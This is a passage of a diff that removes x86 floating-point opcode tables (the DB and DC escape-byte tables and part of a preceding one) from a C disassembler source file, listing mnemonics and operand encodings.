- { INSTRUCTION_TYPE_FIADD, "fiaddl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIMUL, "fimull", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FICOM, "ficoml", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FICOMP,"ficompl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISUB, "fisubl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISUBR,"fisubrl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIDIV, "fidivl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIDIVR,"fidivrl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucompp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-
-// XXX: fsetpm??
-INST inst_table_fpu_db[72] = {
- { INSTRUCTION_TYPE_FILD, "fildl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIST, "fistl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fldt", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fclex", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "finit", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-INST inst_table_fpu_dc[72] = {
- { INSTRUCTION_TYPE_FADD, "faddl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FMUL, "fmull", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCOM, "fcoml", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCOMP, "fcompl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSUB, "fsubl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSUBR, "fsubrl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FDIV, "fdivl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FDIVR, "fdivrl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
